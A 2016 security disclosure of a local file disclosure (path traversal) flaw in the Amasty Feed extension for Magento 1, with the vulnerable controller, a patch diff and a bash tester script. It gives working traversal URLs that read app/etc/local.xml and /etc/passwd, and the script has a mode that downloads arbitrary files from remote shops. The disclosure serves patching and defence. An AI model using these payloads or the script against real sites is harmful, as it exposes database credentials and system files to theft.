Amasty Feed - Local file disclosure (internal)

Amasty Feed - Local File disclosure-internal.md

Amasty Feed - Local file disclosure

• Affects: Magento 1 - Amasty Feed
• Date: 2016-07-20
• Author: Jeroen Boersma jeroen@srcode.nl

Affected versions(tested):

• 2.4.1+
• 3.2.3+
• <3.3.4

The code:

File: app/code/local/Amasty/Feed/controllers/MainController.php Code line:

class Amasty_Feed_MainController extends Mage_Core_Controller_Front_Action
{
    public function downloadAction()
    {
        $fileName = $this->getRequest()->getParam('file');
        $download = Mage::helper('amfeed')->getDownloadPath('feeds', $fileName);
        $this->_prepareDownloadResponse($fileName, file_get_contents($download));
    }
}

The problem:

Files are shared and downloaded via a controller instead of just sharing a url. The path would be /amfeed/main/download/file/feed_google.xml/ for example.

The default path would become /media/amfeed/feeds/feed_google.xml. And by just using a default file_get_contents() it will just read and process the file.

Because of the lack of parameter santinizing it is possible to download any file where you know the path too, for example app/etc/local.xml. This way you could expose database credentials and adminpaths. Or even worse /etc/passwd or others if no chrooting or base dir restriction is in effect.

Magento's ->getRequest->getParam('file') looks for parameters from path but also from _POST and _GET. So by changing from the path to the query gives us the possibility to inject extra information like ../, this is where it goes wrong.

The hack:

Just replace /amfeed/main/download/file/feed_google.xml/ with /amfeed/main/download?file=feed_google.xml to start of. Which will do the same, after that of coarse the obvious.

Magento only: Create a url like this /amfeed/main/download?file=../../../app/etc/local.xml which will translate to /media/amfeed/feeds/../../../app/etc/local.xml and there you have Magento secrets file. This will work for any file within Magento.

Escaped urls are posisble to, /amfeed/main/download/file/..%2F..%2F..%2Fapp%2Fetc%2Flocal.xml, so you have close the whole gate, not only unset the file parameter.

System wide: Create a url like this /amfeed/main/download?file=../../../../../../../../../../../../etc/passwd which will translate to /media/amfeed/feeds/../../../../../../../../../../../../etc/passwd and there you have your systems passwd file if no other system security is applied.

Amasty update

Received a patched version from Amasty on 2016-07-25. If you are using this module contact Amasty support to receive the latest patched version for the module. Version 3.3.4 is released on 2016-07-24 on their website. Magento connect isn't updated yet.

The fix

Patching your app/code/local/Amasty/Feed/controllers/MainController.php Patched Code:

class Amasty_Feed_MainController extends Mage_Core_Controller_Front_Action
{
    public function downloadAction()
    {
        $fileName = $this->getRequest()->getParam('file');

        /**
         * Verify path before proceeding download
         * @reference https://gist.github.com/JeroenBoersma/55b617bc59cd1a647a60a5386cf2cd2a/edit
         */
        $checkPath = realpath(Mage::helper('amfeed')->getDownloadPath('feeds', ''));
        $download = realpath(Mage::helper('amfeed')->getDownloadPath('feeds', $fileName));
        if (strpos($download, $checkPath) === false) {
            return $this->norouteAction();
        }

        $this->_prepareDownloadResponse($fileName, file_get_contents($download));
    }
}

Patch file attached for 3.2.x

Better fix

Better would be to just link with a media url, this way only webserver security is needed and the controller could be dropped. Also if a CDN is in place it work without bothering Magento.

Test Magento shop

The attachment amfeed_lfd_test.sh can be used to remotly test for vulnerable sites.

Usage: amfeed_lfd_test.sh https://myshopbaseurl.com/

If a shop is vulnerable: amfeed_lfd_test.sh version https://myshopbaseurl.com/ to read exact version from Mage.php. More can be found by invoking amfeed_lfd_test.sh without any parameters.

More information

Because I'm aware of the conciquences when this is in the wild, public information and timelime can be found in the public part of this disclosure. See https://gist.github.com/JeroenBoersma/87b7c996f66b96b2a24d8977b1b165ac

amfeed_filedisclosure-20160720-3.2.x.patch

From: Jeroen Boersma <jeroen@srcode.nl>
Date: Wed, 20 Jul 2016 17:29:26 +0200
Subject: [PATCH] Amasty Feed for file disclosure

---
 .../code/local/Amasty/Feed/controllers/MainController.php    | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git app/code/local/Amasty/Feed/controllers/MainController.php app/code/local/Amasty/Feed/controllers/MainController.php
index e8c5866..d014e47 100644
--- app/code/local/Amasty/Feed/controllers/MainController.php
+++ app/code/local/Amasty/Feed/controllers/MainController.php
@@ -9,7 +9,17 @@ class Amasty_Feed_MainController extends Mage_Core_Controller_Front_Action
     public function downloadAction()
     {
         $fileName = $this->getRequest()->getParam('file');
-        $download = Mage::helper('amfeed')->getDownloadPath('feeds', $fileName);
+
+        /**
+         * Verify path before proceeding download
+         * @reference https://gist.github.com/JeroenBoersma/55b617bc59cd1a647a60a5386cf2cd2a/edit
+         */
+        $checkPath = realpath(Mage::helper('amfeed')->getDownloadPath('feeds', ''));
+        $download = realpath(Mage::helper('amfeed')->getDownloadPath('feeds', $fileName));
+        if (strpos($download, $checkPath) === false) {
+            return $this->norouteAction();
+        }
+
         $this->_prepareDownloadResponse($fileName, file_get_contents($download));
     }
 
-- 
2.7.4

amfeed_lfd_test.sh

#!/bin/bash

# copyright Free to copy! MIT License 2016

# Test for Amasty Feed unpatched versions
# Info on https://gist.github.com/JeroenBoersma/55b617bc59cd1a647a60a5386cf2cd2a


main() {

    isvulnerable() {
        local baseurl=$1;

        # Test if Amfeed is installed
        local isamfeed=`curl -sLI ${baseurl}/js/amasty/amfeed/amfeed.js 2>&1 | strings | grep '200 OK'`;
        if [ "test${isamfeed}" == "test" ]; then
            return 2;
        fi

        local testlfd=`curl -sLI ${baseurl}/amfeed/main/download/?file=../../../app/Mage.php 2>&1 | strings | grep '200 OK'`;
        if [ "test${testlfd}" == "test" ]; then
            return 0;
        fi

        return 1;
    }

    testurl() {
        isvulnerable $1;
        local res=$?;

        if [ ${res} -eq 2 ]; then
            echo "Amasty feed not installed";
            return 2;
        elif [ ${res} -eq 0 ]; then
            echo "Amasty feed not vulnerable, you are safe!";
            return 0;
        fi
        
        echo "Amasty feed vulnerable, patch today!";
        echo "Navigate to https://gist.github.com/JeroenBoersma/87b7c996f66b96b2a24d8977b1b165ac now to see what you can do to fix this";
        return 1;
    }

    downloadfile() {

        if [ $# -lt 2 ]; then
            echo 'hiddenfile parameter is missing'
            return 2;
        fi

        local baseurl=$1;

        isvulnerable $1;
        local res=$?;
        if [ ${res} -ne 1 ]; then
            return 2;
        fi

        curl -sL "${baseurl}/amfeed/main/download/?file=../../../$2";
        return $?;
    }

    magentoversion() {

        isvulnerable $1;
        local res=$?;
        if [ ${res} -ne 1 ]; then
            echo 'Magento version not found.';
            return 1;
        fi

        local magephp=`downloadfile $1 app/Mage.php | strings`;

        local mmajor=`echo "${magephp}" | grep -E "'major'\s*=>\s*'"`;
        local mminor=`echo "${magephp}" | grep -E "'minor'\s*=>\s*'"`;
        local mrevision=`echo "${magephp}" | grep -E "'revision'\s*=>\s*'"`;
        local mpatch=`echo "${magephp}" | grep -E "'patch'\s*=>\s*'"`;
        local medition=`echo "${magephp}" | grep "self::EDITION_"`;

        if [ -n "`echo ${medition} | grep 'COMMUNITY'`" ]; then
            medition='CE';
        elif [ -n "`echo ${medition} | grep 'ENTERPRISE'`" ]; then
            medition='EE';
        elif [ -n "`echo ${medition} | grep 'PRO'`" ]; then
            medition='PRO';
        elif [ -n "`echo ${medition} | grep 'GO'`" ]; then
            medition='GO';
        fi

        echo -n "Magento ${medition} ";
        echo "${mmajor}.${mminor}.${mrevision}.${mpatch}" | sed -se 's/[^0-9\.]//g';
        return 0;
    }

    usage() {
        local bn=`basename $0`;
        echo "${bn} [test|download|version] BASE_URL [hiddenfile]";
        echo '';
        echo ' * test       or just a base url will test that url';
        echo '              returncodes 2 if not installed, 1 if vulnerable, 0 if patched';
        echo ' * download   will try to fetch the given file';
        echo '              returncodes 2 internal error or curl return code';
        echo ' * version    will display Magento version for vurnerable shop';
        echo '';
        echo 'EXAMPLES';
        echo " - ${bn} https://myshopbaseurl.com/ # test a shop";
        echo " - ${bn} test https://myshopbaseurl.com/ # same as above";
        echo " - ${bn} version https://myshopbaseurl.com/ # show Magento version";
        echo " - ${bn} download https://myshopbaseurl.com/ app/etc/local.xml # download local.xml for shop";
        echo " - ${bn} download https://myshopbaseurl.com/ ../../../../../../../../../../../../../../../../../../../etc/passwd # download passwd for server";
        exit 0;
    }

    if [ $# -eq 1 ]; then
        testurl $*;
        exit $?;
    elif [ "$1" == 'test' ]; then
        shift;
        testurl $*;
        exit $?;
    elif [ "$1" == 'download' ]; then
        shift;
        downloadfile $*;
        exit $?;
    elif [ "$1" == 'version' ]; then
        shift;
        magentoversion $*;
        exit $?;
    else
        usage;
    fi
}

main $*;